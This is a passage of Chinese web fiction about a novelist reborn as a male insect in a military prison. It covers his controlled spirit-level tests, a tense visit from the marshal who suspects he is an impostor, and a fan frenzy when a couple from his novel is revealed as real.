安若想了想,打开终端的通讯页面,点进那唯一的联系虫,在输入框写了一句话。 考虑到现在时间还早,怕打扰到对方休息,他并未立刻发出,准备等饭点再发出去。 另一边。 顺手点开通讯界面的乌列尔,盯着顶部的【输入中……】许久。 盯到他一个S级军雌都觉得眼睛酸了,对面还是没有内容发过来。 正困惑着,外边铃声响起,与此同时,顶部的“输入中”终于消失,一条消息弹出。 [少将,您有元帅的私虫账户号吗?] 乌列尔:“……?” 就这短短一句,没有其他内容。 雄虫问他要元帅的账户号? 对方当然是有过元帅的私虫账户号的。 婚姻存续期间,雌虫的账户完全对雄虫开放。 但在过于依靠终端的星际时代,没有虫会去记那样一串繁杂的数字。 所以随着婚姻关系结束,对方也就没有了元帅的账户号。 乌列尔并不明白雄虫的用意。 婚姻关系已经结束,就算知道了元帅的账户号,没有雄主的权限,也支取不了里面的星币。 [您是有什么需要吗?] 31 一般来说,这叫控分 “您的等级为——A级。” 乌列尔看着庞大仪器上显示的等级,神情微凝。 这个等级没什么,问题是检测出的精神阈值是个规整到过分的整数。 精神阈值:10000000 一千万,刚好是A级的临界值。 一分不多,一分不少,正正好。 这种情况极为少见,哪有这么恰好的? 乌列尔盯了那个数字半响,还是忍不住问雄虫: “阁下,您要不要再试一次?说不定能冲击更高。” 更高? 是指超A吗? 安若看向检测仪器上,A级上方那根红线。 “好,我试试。” 安若盯着那根红线,全神贯注运转精神力。 在心里默念超A、超A、超A。 然后,他看着代表着精神值的检测条不断上升,直到抵达红线。 “50000000,A+级,超A。” 乌列尔看着上方显示的数字。 五千万,又是工工整整的整数,又是恰好达到A+级的临界值。 两次测量,前后不到五分钟,精神阈值波动高达四千万。 完全脱离了正常范畴。 一般情况下,这叫控分。 “您要再试一次吗?”乌列尔耐心问。 还来? 安若警觉。 乌列尔少将在期待什么? 他突破S级吗? 那太惹眼了,且完全不合常理。 超A就已经足够惹眼,若是S级,绝对会引来全联邦的关注。 安若仿佛看到了一双双眼睛从上层投下注视。 他感到一阵恶寒。 原身是B级雄虫,升到A级是可以用突破掩盖的,超A已经有些过了,但还没到完全没法理解的地步。 S级不一样…… 虫族已经几千年没出过S级雄虫。 新一个S级还在三年后——原文的雄虫主角。 安若当着乌列尔的面,再进行了一次精神检测。 这次直接掉到了超A以下。 精神阈值:41592653.58 乌列尔看着这串连尾数都出来了的完全不规律数字,表情有那么一瞬地裂开。 这才是正常情况。 可有刚刚那两次不正常的情况在前,反而显得这一次特殊了起来。 精神检测是私密的事情,除了他之外没有别的虫在场。 乌列尔请雄虫先去休息室稍作,叫来负责虫检查机器,排查故障。 最终得出结果: “检测仪运行正常,没有故障。” 三个数值相差十万八千里,但机器是正常的。 乌列尔思索良久,最终将最后一次检测的数值填报上去,并清空了前两次检测记录。 【安诺,A级(有A+级潜力),精神阈值:415……】 “阁下,您久等了,您的检测结果已经出来,恭喜您晋升A级。” 乌列尔歉意道:“根据规定,您需要更换新的抑制器。” 坐在沙发上的安若点点头,配合地起身。 乌列尔看着面前的雄虫,道了声“恕我失礼”,伸手绕过雄虫散下的长发,指腹轻贴上后颈的抑制器识别处。 “滴”的一声,抑制器解锁。 乌列尔将抑制器取下,后退半步,拉开距离,全程没有触及雄虫的皮肤。 安若悄悄松了口气,抬手触碰后颈,感觉脖子都变轻了。 乌列尔侧身将抑制器收进盒中,余光观察着雄虫。 雄虫身旁大多会有逸散的精神丝线,高等雄虫的精神力会给雌虫带来极大的压迫感。 但这位阁下身边干干净净,什么也没有。 他就像是一棵树,一块石头,一本书…… 对精神力掌控到极致,才能将精神丝线收敛得如此之好,一丝余威都不泄出,干净得宛如自然界中的花草树木。 这根本不像是一只应该出现在监狱里的雄虫。 但乌列尔还是需要给他呈上新的抑制器。 新抑制器是一枚手环。 “换样式了吗?”安若有些诧异。 他以为等级提升后会被限制得更加严格。 手环明显没有颈环保险啊。 “是,”乌列尔垂眸道:“这是最高等级的精神抑制器,能对S级以下的精神力做出限制。” 这就有些答非所问了。 安若看了他一眼,并未纠结这个,自行佩戴上新款抑制器。 银白的手环自发贴合在他手腕上,更像是一件精美的装饰品。 手环确实比颈环舒适得多。 羞辱意味也更低。 至于对精神力的限制方面……安若并没有感受到太多。 他不会真是S级吧? 安若心慌。 这若是被发现了,他可真没法解释。 乌列尔看眼终端,道: “还有一些时间,您有什么想做的吗?是回房间休息?还是去透透气? “监狱中央有一处室内花园,里面有很多绿植。按照规定,服刑的雄虫每天有1-2小时放风时间,可以在军雌的陪伴下在指定范围内活动。那里您还没去过吧?” 安若确实有那么一瞬的心动。 监狱的室内花园他也知道,只是那里离他的房间比较远,他又懒,不爱出门,之前还有书要写,也就没去过。 安若想了想,还是放弃了。 “下次吧,先做精神梳理。” 下次一定。 永远“下次”。 雄虫的积极性这么高,乌列尔当然没法拒绝,只能安排上精神梳理。 “今天可以安排更多军雌了吗?我已经A级了!”安若问。 “可以,每日任务时间限时三星时,三星时内您能梳理多少军雌都可以,不会再做限制。” 安若:“……” 听起来不错。 但比之之前好像也没多大变化。 这是逼他上群体梳理啊。 想要让更多军雌获得梳理,要么他能极致压缩时间,一秒一个,要么就得上群体梳理。 安若没有尝试过群体梳理,这在原文中也只有升到S级的雄虫主角做到过。 他考虑了下,还是决定从缩短单次梳理时间、提升效率坐起。 一秒一个是做不到了。 先试试一到两分钟一个吧。 于是,整整一个上午,安若都坐在诊治桌后,不断喊“下一个”“下一个”。 他已经是经验老到的医生了。 弄到最后,乌列尔直接给他桌上安装了个按铃。 三个星时,一共梳理了150个军雌。 前面的军雌都没来得及花式感激,就被拖了下去,换下一个。 150个军雌,看起来效率很高,已经接近一分钟梳理一个军雌……但当这个数字放在全体需要精神梳理的军雌面前时,还是不够看,渺小到接近于无。 安若还是考虑着把群体精神梳理开发出来。 一回到房间,他就登入星网,查找相关资料。 越查,他的眉头凝得越紧。 可恶啊! 怎么就没有《幼崽也能学会的群体精神梳理》? 他一个外来者,离开了幼崽教程,该怎么在虫族生活? …… 首都星,军部会议。 九大军区上将难得全员到齐,就连远在边境的第九军上将也用虚拟影像参加了会议。 虫族天性好战,但在不同领导者手下,又会呈现出完全不同的风格。 当最高领导者是雌虫时,虫族的整体风格都会偏向激进好战,不断掀起战争、对外扩张。 整个画风就是宇宙中的大反派。 当最高领导者是雄虫时,表现出的风格则完全相反。 虫族会自发停下扩张的步伐,向内收缩,风格偏向防御,更注重国内建设,一切以保护雄虫为首要。 有时甚至还能推进宇宙和平,成为和平使者,也是很冷笑话了。 虫族已经许多年没有出过雄虫领导者,上一位雄虫执政官也只是昙花一现。 在座的几位上将,有一个算一个都是主张扩张的好战分子。 越是这种情况下,虫族内部的雌虫精神问题就越严重。 这原本也是没有办法的事。 但最近似乎出现了什么转机。 例行的军事会议结束,几位上将却都没有要走的意思,齐齐看向上首的元帅。 尤利西斯初接任元帅之位,太多事情需要他去做,种种繁杂的事务都堆在他面前,他这段时间忙得焦头烂额,忽略了一些东西。 见在座的所有虫都看他,明显有话要说的模样。 尤利西斯微抬眼皮,道:“什么事?直说吧。” 众虫你看看我,我看看你,还是第九军区的缪尔上将最先忍不住开口。 第九军区拥有着最多的远征军,精神梳理对他们是真的很重要。 “元帅!您是不是在第一军区内藏了什么宝贝?” 尤利西斯:“?” 第一军区?宝贝? 其他上将也纷纷开口: “是精神梳理仪器已经研发成功了吗?您可不能只给第一军区用,厚此薄彼。” “全是100满值的精神梳理,仪器怎么可能达到这种效果?不是说最多进行70分吗?” 32 雄虫的天赋 乌列尔站在元帅办公室外,端正军帽,整理衣领,直到里面传来许可,这才抬步进入。 冷硬的黑白灰金属感装修,军部一贯的风格,带着军雌的冷厉与严肃。 但当乌列尔走入办公室时,还是觉得这里格外暗一些。 或许是深色用得太多了,也缺少必要的绿植花卉。 正考虑着给雄虫房间外建一个花园的乌列尔心想。 但他很快收起跑偏的思绪。 雄虫看不到绿植会emo,元帅可不会。 尤利西斯元帅坐在办公桌后,猩红军旗在他身后的墙壁上悬挂而下,像是已经与他融为一体。 乌列尔站定,行了个标准的军礼。 尤利西斯收起面前漂浮的数组光屏,抬眸看向来者。 “许久不见,乌列尔。” “是,已经七年了,我上月回第一军区任职,还未来得及拜见元帅。” 乌列尔眼里闪过些怀念。 他曾是元帅的副官,追随过元帅很长一段时间,算是元帅一手培养起来的,元帅欣赏他的能力,将他外放,给他更多展示自己能力的机会。 “为什么要回第一军区?” 尤利西斯不解。 第一军区离首都星太近,已经是一潭死水,外边机会更大。 以乌列尔的能力,再过些年,就足以晋升中将。 如此年轻且有能力的S级,哪怕是一军上将之位,也是迟早的事。 这远比在第一军区当个普通的少将来得有前途。 乌列尔抛弃大好前程跑回来,实在令虫不解。 “我想,您或许有用得上我的地方……” 乌列尔低声道。 他听到了元帅离婚案的消息。 那时又正好处于老元帅即将卸任的关键时刻,各方势力暗流涌动。 他赶回首都,只是想,或许有什么能帮上昔日长官的地方。 但实际上,长官并不需要他的多此一举。 尤利西斯看了他一会,忽地道了声:“多谢。” 乌列尔顿时不自在起来。 “您不用跟我说这个,我并没有帮上什么忙……我这段时间听的谢也够多了。” “哦?还有谁?” 尤利西斯随口一问。 办公室内顿时一静。 乌列尔僵硬看着面前的元帅,张了张口,却哑了般说不出话。 尤利西斯疑惑看去。 他本只是随口一问,乌列尔这反应,倒像是有什么了不得的事情。 他甚至思考了一秒乌列尔跟他的政敌勾搭上了的可能。 有些意外,又觉得这不算事。 “说吧,我还会怪你不成?” 尤利西斯很是大度。 “是……安诺阁下。” 乌列尔小声,低垂着头,不敢看元帅的表情。 “……” 办公室内又是一阵诡异的寂静。 尤利西斯上下打量了遍乌列尔,见他神情不似作假,开始考虑他脑子坏了的可能。 也可能是雄虫脑子坏了。 或者他们两个都坏了。 “看来这段时间确实发生了很多我所不知道的事。” 尤利西斯敲了敲桌面,沉声道: “说说那只雄虫。” “是。” 乌列尔松了口气,将这段时间发生的事事无巨细地讲了出来。 但出于某种隐秘的考虑,他省略掉了那两次未被记录的精神等级检测,为此深感惭愧。 …… 乌列尔走后,尤利西斯浏览着关于雄虫的资料,上面详细记载着雄虫在监狱中的种种。 乌列尔的愧疚太过明显,他能看出对方有所隐瞒。 雌虫在面对雄虫时,时常会昏了头。 虽然难以理解,但不得不承认这是虫族雌虫的共性。 唯一的意外是乌列尔会沦陷得这么快。 乌列尔是S级,普通雄虫信息素对他的吸引力很有限。 是因为雄虫晋升到了A级吗? 一个个光屏在他面前铺展开,展示着雄虫每日的生活起居,精神梳理记录,军雌信件……还有他写的那本小说,以及小说所获得的收益…… 刚好与他今天收到那笔不明款项相符。 尤利西斯诧异抬眸。 对于每日经手军费都是天文数字的元帅来说,那只是一笔小到不能再小的数字,跟个位数也没什么区别。 但放在个虫身上,这是一个很大的金额,足以让一只高等雄虫过完富足的一生。 比起惊讶之类的情绪,还是困惑更多一点。 就像看到一只草履虫在演奏重金属音乐,恒星表演一秒变冷,致幻蘑菇在天上起舞。 若非他的身体素质已经强到免疫所有毒素,他会怀疑自己吸入了致幻剂。 想要这样的方法换取他的赦免? 雄虫应该知道,他不缺星币,再多的数额对他来说也只是一个数字。 尤利西斯转而看向雄虫写的那本小说。 爱情小说。 多么讽刺。 尤利西斯翻了几页,就将视线移动到一侧的实时监控影像上。 画面中,雄虫坐在书桌前,面对着空白的文档发呆。过了一会,他切换页面,登入星网,刷起了低质图文视频。又过了会,他站起身来走动,更换桌上的鲜花,洗了一盘水果。 尤利西斯就这样看着那个有着雄虫模样的不明生物,在囚室里走动,进食,刷星网,面对空白文档抓头发,脑袋哐哐砸桌…… “……” 乌列尔到底在监狱里给他养了个什么东西? 一旁的光屏上还展示着雄虫的等级检测报告。 等级:A 精神阈值:41592653.58 …… 尤利西斯只扫了一眼就移开视线。 这份报告根本没有看的必要。 对方怎么不干脆把前面那“3.1”加上,凑一个圆周率? 他真是失察了,居然让这样一个不明生物在他眼皮底下混进了第一军区。 …… 安若突然感觉后颈发凉,冻得他打了个哆嗦。 咦?监狱的恒温系统坏了吗? 他抱着手臂环顾四周,觉得心里毛毛的。 他起身上床,钻进被窝里。 那种奇怪的感觉如附骨之疽,摆脱不掉。 过了会,他又掀开被子爬起来,进了浴室。 这才好受了些。 难道要在浴室写文吗? 完全没灵感的安若揉了揉脸,对着镜子发呆。 · 翡翠星。 湖边别墅。 昨天胡闹得太晚,席安这一觉睡到日上三竿才醒来。 身边已经空了,鼻尖能闻到从楼下传来发苦的焦糊味。 不用想就知道,克莱尔又在磨练他的厨艺。 希望他不会把厨房烧了。 席安坐起身,活动了下脖子和肩膀,正好瞧见漂浮在旁边的光屏。 昨天说要跟克莱尔一起看小说,结果只顾着抱克莱尔,忘了看,也忘了关。 席安拖过光屏,正要关闭,却瞥见了上面的文字。 【远征归来,精神域受损,接受基因匹配准备结婚,前来赴约的雄虫是当年被我虐得体无完肤的雄虫新兵。】 “咦?” 这就是全军团都在追的小说吗? 军雌,远征军,雄虫士兵,buff叠满。 难怪这么受第九军团军雌们的欢迎。 连他一个从不看小说的雄虫都升起了些兴趣。 毕竟,这经历跟他和克莱尔挺像的。 席安带着些笑意带点开小说。 【克莱尔又一次从混乱无序的梦里醒来……】 “咳咳咳——” 席安经历了所有第九军团的虫在看到这本书时都有过的反应——差点将手里的终端丢出去。 且不慎被自己的口水呛到。 克莱尔? 这么巧吗? 同名还是…… 席安认真看了下去。 这本书不长,很简短的一个小故事,当克莱尔上来叫席安吃饭时,席安刚好看完最后一章。 席安抬眸,与克莱尔四目相对。 “我昨天跟你说的最后一句话是什么?” 克莱尔面上微红,干咳了声,避开视线道: “教官好厉害。” 席安的思绪短路了那么一瞬,回忆起自己爽爆了、抱着克莱尔一顿瞎夸的画面。 他埋头用手捂住脸,道: “不是这个,在那之前。” 克莱尔认真想了想,仍有些不好意思,还是小声道: “只娶我一个。” 席安抬起头,光屏上显示着最后一页文字,这句话赫然在列。 “怎么了?”克莱尔疑惑。 33 飞蛾扑向火焰 来福利院做慈善的高官之子,与有基因缺陷的白化小雄虫,并不是浪漫的邂逅。 但那天派发的水果很好吃,红色头发的年轻雌虫站在光里,灼热得像是太阳。 艾拉最怕太阳了。 他是最低等的F级雄虫,又有着基因疾病,阳光照在他身上都会让他的皮肤被晒伤,还会使他的视力进一步受损。 他是只能生活在黑暗中的虫。 与所有明亮的一切无缘。 在看到红发雌虫的第一眼,艾拉就被灼烧得流泪。 他看到飞蛾扑向火焰,看到自己死在雌虫怀里,被过于强烈的光和热烧成灰烬。 雌虫被他的反应吓坏了,以为他受了欺负,拿出幼崽喜欢的水果零食来哄他。 艾拉逃跑了。 糟糕的视力让他刚跑出几步就被障碍物绊倒,摔到了地上。 雌虫来扶他,他甩开雌虫的手,一瘸一拐地回到自己的宿舍。 他知道雌虫一直跟在他身后不远处,担心的目光落在他身上。 他害怕那样的光与热,也恐惧死亡。 医生来得很快,为他治好了膝盖上的伤,还留下许多营养品和零食水果。 他知道那些东西出自谁。 那之后,雌虫常会来。 给福利院的幼崽们带一些零食、玩具、衣服……当然也有艾拉的。 他是一个相当热心的慈善家。 艾拉始终与对方保持着距离,态度称得上是冷淡。 雌虫知道他视力不好,给他配备了盲虫可用的终端,直接与他的精神力相连,能为他在脑海中生成地图,规划路线,他再也不会撞到东西摔倒。 雌虫知道他喜欢书籍,经常来给他读书,他不在的时候就让终端智能给他读,但限制他看光屏的时间,不让他过度用眼。 雌虫跟他说他有了个弟弟,也是雄虫崽,跟他抱怨他那弟弟可比他难带得多。 艾拉小口吃着雌虫带来的蛋糕,并不答话。 一年一年过去,福利院的雌虫崽一个接一个被收养者接走,唯独他无虫问津。 他知道,很多时候雄虫幼崽更难被收养。 根据规定,如果是异性收养,收养者必须要比幼崽大几百岁,进入衰老期、没有生蛋能力。 这是联邦法律对幼崽的保护。 主要是为了保护雌虫崽不被对幼崽下手变态雄虫侵害。 面对极罕见的雄虫孤儿时,也沿用了下来。 同样保护雄虫崽不被变态雌虫带回去榨津生蛋。 且收养者的各方面都要进行评估。 收养动机,道德品行,经济和住房条件,家庭关系…… 收养雄虫崽的标准尤其高,很难达到。 更何况他还有罕见的基因病。 就算所有条件全都达到了的雌虫,也会想着自己已经进入衰老期,没多少年能活了,担心没法给这样一只有基因病的脆弱雄虫好的生活,从而放弃。 至于同性收养……雄虫不会收养幼崽。 想要幼崽的雄虫完全可以娶雌虫回来自己生。 就算自己生不了也没关系,雄虫又不用担心养老问题。 比起领回一个幼崽,不如再娶几个年轻雌侍。 幼崽长大会离开家,雌侍可不会。 总之,没有虫愿意收养艾拉。 这是雌虫陪艾拉过的第五个生日。 艾拉也到了该离开福利院的年纪。 这种时候,雌虫一般会找个工作,然后搬出福利院。又或者直接去服兵役,住军营里。 而雄虫……雄虫一般会选择结婚。 雄保会已经来过,给了艾拉一份名单。 上面是他能够匹配到的最合适的雌虫。 他可以从中选一个结婚。 他是最废的F级雄虫,精力有限,应付不了太多雌虫。 他最好的选择就是娶一个可选范围内最出色的雌虫,D级或者C级,然后一辈子傍着雌君生活。 卡西安这段时间来得格外勤。 每次都会给他带礼物,变着花式讨他开心,然后旁敲侧击地问他打算选哪只雌虫。 艾拉闭口不言。 对方把他名单中的雌虫都调查了一遍,像是要帮他把关一样,跟他一一分析: 这个雌虫作风不行、那个性格暴躁、这个颜值一般、这个资产有限、另一个……发型老土。 反正在他口中,没有一只雌虫是行的,都与他不匹配。 一向矜贵有礼的雌虫第一次说这么多虫的坏话,躁得面红耳赤。 雌虫的心意已经很明显了。 只是艾拉没有给过他任何希望,以至于他甚至不敢挑明。 艾拉当然不能给他希望。 对方是有着S级天赋的天之骄子,未来有着无限可能。 他日后的雄主至少是A级,最次最次也得是B级。 他一个F级雄虫,连精神梳理都做不了,给他希望才是害了他。 距离最后的时限越来越近,雌虫来得越发勤,且肉眼可见地日渐焦躁疲惫,看他的眼睛泛着红。 “你已经考虑好选哪只雌虫了,是吗?” 雌虫问他。 艾拉这段时间表现得太过平静,就像是心里已经有了答案。 “嗯。”艾拉垂首回应。 其实没有。 他找到了份工作。 工作内容是在各种床具上试睡,评估产品的舒适度和质量。 这是一份他能够胜任的工作,不用跟雌虫结婚了。 他没有告诉雌虫这些。 就让对方以为他要娶雌虫吧,让对方就此放弃,回归自己的虫生。 雌虫是注定光明万丈的虫,无限荣光加身。 而他是阴暗角落的白飞蛾,只能苟且一生。 他们根本不是一个世界的虫。 雌虫走了。 他们不会再有以后。 离开福利院的前一夜,艾拉独自抱膝坐在床上发呆。 窗外闪烁的荧光吸引了他的注意。 他推开窗,看到了漫天萤火。 往日只有光秃秃几棵树的小院子,如今种满了纯白的月见花。银白的月光从天际洒下,每一片花瓣都泛着皎洁的光,萤火闪烁其间,宛若仙境。 卡西安在月光下向他求婚。 像童话一样。 这位惊才绝艳的天之骄子跪在他面前,奉上童话故事里代表真爱的玫瑰星云戒指,眼里炽热的爱意远比星云更加绚烂。 飞蛾永远拒绝不了这样的光亮,哪怕注定被烈火焚烧成灰烬。 黑暗中的白飞蛾扑向了火焰。 他既怕黑又怕光,怕冷又怕热,怕疼也怕死……但他想与他相爱。 婚后的这些年,艾拉过得很幸福。 他是没有家的虫,卡西安给了他一个家,满足了他对爱与被爱的一切想象。 他珍惜着与卡西安在一起的每一分每一秒。 如果结局已是注定,那就让这一切值得,至少曾拥有过。 只是仍会不舍。 因为太过美好,所以恐惧失去。 为了卡西安,也为了他自己,他不断突破自我,努力提升等级。 从F级到C级,完成了近乎不可能的奇迹。 但仍不够。 他不知道自己具体是怎么死的,却隐隐意识到,如果想避开悲剧,他必须突破B级。 这太难了。 根本不可能做到。 随着时间一年年过去,逐渐接近那个命运的节点,艾拉感到恐慌。 精神梳理法案颁布的当天,他看到了命运的火焰燃起。 他想明白了自己为何而死。 无法违逆的命运向他袭来,嘲笑着他之前所有的挣扎都是无用功。 有那么一刻,他的情绪几近崩溃。 卡西安以为他是怕被强制离婚,连忙安抚他,特意从议会赶回来陪他。 只有艾拉知道死亡和分离离他有多近。 转机出现在看到那本书的时候。 席安与克莱尔的话题登上星网热议。 而艾拉看到蝴蝶扇动翅膀,掀起风暴,带来迷雾。 自那之后,未来变得不可见。 灰白的迷雾笼罩着整个虫族。 无法窥探,无法预知。 这也代表着……一切皆有可能。 自此,艾拉就成了“安”的狂热粉丝。 他相信对方能带来全新的可能。 …… “那么,你找安神做什么呢?” 艾拉问席安。 “他把我跟我雌君的故事写成小说,发上星网,弄得虫尽皆知,我想认识一下他也正常吧。” 席安摊手道。 卡西安端着切好的水果从厨房出来,正好听到这句话,顿时锐利的目光就朝席安看去。 “什么叫你跟你雌君?” 席安想起什么,顿时心虚,视线飘忽。 “就是……克莱尔啊,你们不都知道了吗?嗯……全网都知道了。” 都全网直播了,这不能说他没跟家里交代吧? “你是指那本小说?”卡西安凝眉问:“你之前说的结婚度蜜月也是跟克莱尔上校?” 艾拉惊讶捂嘴,满眼震惊。 “所以说,书里的一切都是真的!?” “差不多吧,有一些创作上的艺术加工,但具体事件是真的。” 席安也没隐瞒。 卡西安为了给他雄主读故事,每一章更新都没落下,对《教官》一书的剧情再了解不过。 当小说看时不觉得什么,反而觉得这个故事写得很好,也跟他雄主一起磕书中的席安跟克莱尔。 34 尤利西斯 探视 社恐被通知十分钟后有个陌生人(虫)要来你家看望你。 不管要来的是谁,对安若来说都是陌生虫。 安若焦虑得抓头发,甚至考虑起躲起来的可能。 囚室就这么大,除了浴室都能一眼看到底,没处躲。他总不能躲浴室去,那也太尴尬了。 那么……花园呢? 安若的视线投向外边的空中花园,觉得这个主意不错。 问就是去散步放风了。 逃避可耻,但有效。 安若端起一盘瓜果零食,带上果汁饮料,溜了。 当乌列尔陪伴元帅来到雄虫的囚室门口,看到的就是空空如也的房间。 乌列尔都惊呆了。 他根本没想到雄虫会跑这个可能,他是知道对方有多宅的。 死宅为了不社交,宁愿暂时弃窝遁走。 “……” 乌列尔尴尬地去瞧元帅的表情。 尤利西斯冰冷的眼睛环视一眼空荡荡的囚室,直接抬步走了进去。 房间不大,但被布置得很温馨惬意,能看到明显的个虫风格。 书桌及附近的布置最多,鲜花,盆栽,星球小夜灯,甚至还有纸质书籍和玩偶摆件,一旁的木盒里整齐收纳着满满的信件。 床是复古文艺风,米色和浅亚麻色的被子枕头,带着些森系花样,柔软舒适。 空气中气味很干净,没有杂乱的信息素。 根据乌列尔提供那份记录,对方从未在囚室里接待过任何雌虫,所有精神梳理都是在治疗室进行。 这本身就代表这一种排斥。 跟虫近距离接触的排斥。 很不雄虫。 尤利西斯停在阳台的玻璃门处,看着外边繁盛的花园。 “你倒是把他养得很好。” 尤利西斯淡淡道。 乌列尔落后一步,垂首解释: “雄虫需要舒适的环境、需要阳光鲜花绿植来维持心理健康。这位阁下一天的精神梳理量比军区的所有雄虫加起来还多,他的状态很重要,不容有失。” “确实重要。” 尤利西斯对此表示肯定。 回头看眼紧张跟在他身后的乌列尔,他无奈道: “你回去吧,放心,我不会吃了他。” “我不是这个意思……” 乌列尔张嘴想要解释,对上元帅那沉静的眼睛,又什么都说不出来了。 最终顺从退下。 尤利西斯的视线转向花园。 雄虫的躲避没有任何意义,顶级雌虫的敏锐五感能清晰感知到对方的所在,包括他的每一次心跳与呼吸,还有咀嚼…… 花园很大,安若特意走得远了些,找了处能遮挡他身形的树丛,在后边的草地上坐下。 暖洋洋的太阳晒在身上,温度也适宜,还挺舒服的。 安若捧着甜果慢慢啃着,心不在焉。 因为有虫会来探视,所以一直没法真正放下心,只期望着这件事赶快结束。 忽地光线一暗,阳光被挡了住。 安若一愣,缓缓抬头。 黑色长发军装雌虫站在他身后,低头看他。 那张脸帅气得像是雕刻艺术品,如同一座威严的神像,银灰的眼睛反射着金属般的冰冷光泽,在这个角度下有着强烈的非人感。 像是被猎食者锁定,冷意从背脊蔓延至全身,连带着后脑都麻了。 安若脑子里只有一个想法:完啦,噩梦成真了。 大反派像梦里那样,撕裂空间来到了他面前…… 他书里的这位是真有着手撕空间的能力。 不带任何夸张性的描述。 有那么几秒,安若几乎失去了呼吸能力。 现在逃命还来得及吗? 他紧张地想。 在能撕裂空间的伪SS、真SSS级雌虫面前,就算跑到外星系去,也会被抓回来的吧? 根本没有逃走的可能。 “你害怕我?” 尤利西斯打量着他,冷玉般的眼睛从雄虫身上扫过,眸中闪过一丝疑惑。 这只雄虫……原本长这样吗? 安若心道这谁能不怕? 不管是对家暴前科的原身,还是一手写下反派悲剧过往与结局的小说作者……全部都有愧于他。 因为心虚,所以恐惧。 “你是来杀我的吗?”安若僵硬地问。 “不是。” 全部满值的精神梳理,他的用处太大了,任何一个有理智的领导者都不会轻易杀死他。 他要的只是可控性。 尤利西斯微凝起眉。 声音,气味,精神力……他的所有感知都在告诉着他,在他面前的是一只雄虫,高等雄虫。 可他们都心知肚明,这具皮囊下的不是原本的雄虫,甚至不是虫族。 “为什么觉得我会杀你?”尤利西斯缓缓问。 安若思索着,从原身的角度回答: “‘我’伤害了你,犯下了无法饶恕的罪过。” 尤利西斯有些意外地看了他一眼,平静陈述: “所以‘你’在监狱。” 这个确实。 安若没法反驳。 或许对于雌虫来说,犯罪的雄虫在监狱受刑,远比直接杀死要来得解气。 知道大反派这次来不是为了弄死他后,安若悄悄松了口气。 周身的冷意似乎退去了,他重新找回自己的呼吸与心跳。 这是一场在他预料之外的见面。 但还不算太糟糕。 他们交谈时,他在尤利西斯眼里看不到什么恨意,反倒是探究和疑惑更多一些。 恰好安若有一个绝对不能被他发现的秘密。 安若低下头,不敢与他对视。 过了几秒,笼罩着他的阴影移开了。 尤利西斯站到他身侧。 阳光将他们两个的影子投映在草地上,一站一坐,情景唯美,若是拍下来是能当壁纸的画面。 只是在场的双方都各怀心思,谁也没心情欣赏。 安若忍不住想,监狱有没有探视时间规定?大反派到时间就赶紧走吧。 一面又想,即使有时间规定,也限制不了身为联邦元帅的某虫。 尤利西斯忽地开口: “这就是你每天的生活?精神梳理、睡觉、进食、刷星网、写小说?” 听到雌虫提起写小说,安若差点被果肉噎到,他缓了会才把嘴里的食物咽下。 他不明白对方问这些做什么。 “不都是这样吗?一个生命活在这个世上,总要进食睡觉,精神梳理是工作,至于别的……那是爱好。” 爱好懂不懂? 某虫一看就是连兴趣爱好都没有的可怜虫,生活单调得堪比机械虫。 安若暗戳戳在心里拉踩。 “你的目的?”尤利西斯垂眸看他。 “?” 安若疑惑歪头。 只是活着而已,需要什么目的吗? 雄性眼里的茫然与困惑太过明显,就像他那空白的文档。 尤利西斯跟着沉默了。 “好吧,那么你的追求?”他重新问。 “写更多的书!被更多……更多虫看到!” 安若毫不犹豫地脱口而出。 “……” 又是一个意料之外的回答。 偏偏对方的表情毫不作假。 说起他的书,他那双眼睛都闪亮得发光。 这个话题已经没有问下去的必要了。 “最后一个问题……” 尤利西斯注视着这个有着高等雄虫外表的不明生物,缓缓道: “原本的那只雄虫去哪了?” 安若呆住。 手里的果子没拿稳,滚落在草地上。 他下意识去捡。 将果子捡起握在手里,思维僵硬运转。 “什么原本的雄虫?” 安若低着头,轻声道: “是说我的那个房间原本住过其他虫吗?我来的时候就只有我了啊。” “别浪费时间。”尤利西斯声音微沉。 他愿意来跟这个不明生物交流,可不代表他有耐心跟对方玩猜谜游戏。 安若沉默了会。 在现在立刻惹怒大反派、和之后有可能惹怒大反派之间,很怂地选择了后者。 “我不知道……真不知道!” 当他来的时候,这具身体里就没有别的意识了。 他也不知道“房间”原本住的虫去哪了。 可能是被审判吓死了,也可能是穿越了。 小说原文只一笔带过大反派尤利西斯有过一段糟糕的过往,其中也包含了他的婚姻,这直接影响了他对雄虫的态度,也是那些极端政策的由来。 至于那只雄虫的下场,他没写,书里也没提过。 尤利西斯打量着他,判断着他话中的真实性。 这是个演技拙劣的雄性,一眼就能看到底。 他知道对方有事瞒着他,思忖着这件事的重要程度。 35 我磕的CP成真了! 我在做梦吗? 躺在床上的安若迷迷糊糊地想。 Cosplay?角色扮演?同名同姓? 一定是我进入的方式不对。 安若退出话题,打算重进一次。 #席安阁下官宣# #席安克莱尔# #我磕的CP成真了!!!# #第九军团# #全网失恋# …… 安若面对着一连串话题,竟不知该点那一个。 手指停在空中,上下犹豫半天,还是点进了第一个。 最顶部的帖子就是他刚刚看到的那个。 【席安-A+】: 谢谢大家,我们在一起了!@克莱尔。 安若:“……” 安若猛地坐起身,拍拍脸让自己清醒,点进贴子里查看。 【克莱尔】[首评]:谢谢大家,我会照顾好雄主的。 [???] [用你那糟糕透了的厨艺照顾吗?@克莱尔,你的厨艺也跟小说里一样烂吗?] [他在军校里的成绩已经全被扒出来了,烹饪课就是刚好及格分数,差点挂科!] [啊不是?这到底什么情况?谁能跟我解释一下?] 安若也有同样的疑惑。 [简单来说,你们磕的CP成真了,第九军团的席安少尉真的娶了克莱尔上校!] [等等?小说有原型啊,我怎么不知道?] [军部对现役军官的保密信息做得好,但确实有原型,第九军区的虫都知道这件事。] [我们不知道(大哭)!我们只知道席安阁下前段时间请了婚假!哪想到是跟克莱尔上校结婚!他们的关系明明很糟糕的,克莱尔就是个不近情面的冷酷军官,对待席安阁下跟对待军雌一样严苛,这样的虫怎么可能被雄虫喜欢!?] [这不就是小说里的情节吗?表面关系很差的长官和雄虫士兵,实际互相爱慕着对方。] [小说是真的啊?啊???] [小说照进现实了!] [我磕的CP是真的!!!] 星网上的虫族:[啊???] 监狱中的安若:啊??? 什么叫第九军团的席安少尉真的娶了克莱尔上校? 什么叫小说照进现实? 安若想起自己小说成真穿书的事,连忙点进发帖虫主页。 头像是红发雄虫握枪射击的姿势,姓名席安,名字后带着雄虫的等级认证,实打实的A+级雄虫。 更绝的是,主页背景图是结婚证! 一方的【雌君】写着克莱尔。 一方的【雄主】写着席安。 这两只虫恨不得将对方镶自己主页上。 IP地址,第九军区。 